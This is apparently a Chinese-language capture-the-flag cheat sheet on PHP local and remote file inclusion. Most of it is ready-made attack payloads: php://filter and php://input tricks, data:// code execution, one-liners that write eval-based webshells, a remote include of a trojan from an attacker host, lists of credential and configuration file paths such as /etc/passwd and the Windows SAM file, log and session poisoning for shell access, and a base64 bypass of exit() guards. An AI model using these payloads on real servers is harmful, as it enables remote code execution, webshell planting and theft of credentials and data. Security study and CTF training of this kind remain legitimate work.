文件包含
定义
传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
危险函数(漏洞来源)
- include()
- include_once()
- require()
- require_once()
包含分类
allow_url_include = on allow_url_fopen = on
php5.2后allow_url_include默认为off
allow_url_include开启就可能有远程文件包含
本地文件包含(LFI)
直接包含有flag的文件
原url:http://www.example.com/demo.php
在url后加上?file=flag.php%00
代码相当于include '/home/www/flag.php%00.php' ,而%00是截断符,后面的.php被截断
php伪协议
file://访问本地文件系统
用法:file://文件绝对路径和文件名
php.ini里两个配置是否打开都可以使用
./index.php?file=file://D:/phpstudy/www/flag.txt
./index.php?file=file:///var/www/html/flag.phpphp://filter读取网页源代码
用法:读取网页源代码
条件:同file://
// url后出现?file=的时候就可以尝试读取源代码, 但是假如我们并没有绝对路径, 则无法使用
读取index的内容,并将内容进行base64编码并且输出
?file=php://filter/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=index.php
resource - 可以指定要筛选的数据流
read - 可以设定过滤器名称假如没有进行base64编码就会被当成php执行
php://input将post请求中的数据作为php代码执行
条件:allow_url_include=on
http://127.0.0.1/include/index.php?page=php://input
// 然后POST发送木马或其他东西
<?php phpinfo();?>
<?php fputs(fopen("shell","w"),"<?php @eval(\$_POST['a'])?>");?>data://向服务器输入数据让服务器执行
需要allow_url_fopen,allow_url_include均为on
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
text/plain,表示的是文本
data://text/plain;base64, 若纯文本没用,试试base64编码dict://一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击
探测端口指纹
192.168.0.0/?url=dict://192.168.0.0:6379
//以上为探测6379(redis)端口的开发
反弹shell
?-
gopher://协议经常用来打内网的各种应用mysql redis等。 一般要用一些工具来进行构造payload 如gopherus等 -
zip://访问服务器中的压缩包 zip://协议可以用来访问服务器中的压缩包,无论压缩包里面的文件是什么类型的都可以执行 -
phar://它也可以访问zip包,访问的格式与zip的不同
http://127.0.0.1/include.php?
file=phar:///phpinfo.zip/phpinfo.txt
# 这里用/隔开了子文件
# 写入php代码获取webshell查看flag
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["xxx"]);?>')?>
# 使用post方法,蚁剑等连接即可远程文件包含(RFI)
第三方服务器上可运行的PHP木马,拿到webshell查看flag。 php.ini两个都是开启状态
./demo.php?param=http://www.xx.com/attacker/PHPshell.txt
txt内容为一句话木马, 连接即可利用
读取源代码/敏感文件
Windows:
C:\windows-version.txt // 系统敏感信息
C:\boot.ini // 系统版本
C:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
C:\windows\repair\sam // windows初次安装密码
C:\program Files\mysql\my.ini // MySQL配置信息
C:\program Files\mysql\data\mysql\user.MYD // MySQL root
C:\windows\php.ini // PHP配置信息
Linux:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件日志文件包含
用户发起请求,请求会写入access.log, 发生错误会写入error.log; 如果这些路径可以被包含到, 那么就可以用日志文件包含进行getshell
构造正常请求包, 然后在UA头写入一句话木马后发包;此时再包含日志, 可以蚁剑连接或者直接执行命令
?file=/var/log/nginx/access.log- Apache日志文件
Windows+Apache:
XAMPP: phpStudy\Apache\logs\access.log
php xampp\apache\logs\access.log
Linux+Apache:
/etc/httpd/logs/access_log
/var/log/httpd/access_log- IIS日志文件
Windows+IIS6
C:\Windows\system32\Logfiles
Windows+IIS7
%SystemDrive%\inetpub\logs\LogFiles- Nginx日志文件
最常见的是:
/var/log/nginx/access.log
安装目录相关:
若安装目录/usr/local/nginx, 则日志在/usr/local/nginx/logs里
也可以通过 nginx.conf 获取日志
/opt/nginx/logs/access.log- SSH日志文件
用户名写成木马, 就可以了
- session文件包含
路径可以通过phpinfo获取,是session.save_path参数
常见路径:
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]构造恶意session,然后获取session文件名,连接即可
绕过
file_put_content死亡/杂糅
file_put_content可以拼接代码, 例如下面这个php代码:
$filename = $_GET['file'];
$content = $_POST['content'];
file_put_contents($filename , "<?php exit()?>".$content);写入文件前加上了直接结束程序的符号, 导致访问/包含的时候回直接退出, 无法执行后面的内容
解决方法就是将死亡代码解码成乱码,因为第一个参数可控, 我们可以控制编解码方式使得php引擎无法识别前面的内容, 这里就给出最简单的base64方法, 其他的方法见大佬博客
将一句话木马内容进行base64编码, 同时为了避免解码过程中出现错误, 利用字符填充位数使得死亡代码解码后不会影响后面的payload
$filename = 'php://filter/convert.base64-decode/resource=a.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename , "<?php exit();".$content);这样前面的死亡代码就变成了乱码不会被php解析
部分过滤
假如只过滤了部分内容, 通过更换伪协议, 拼接或直接包含即可
条件竞争绕过
关联文档 -伪协议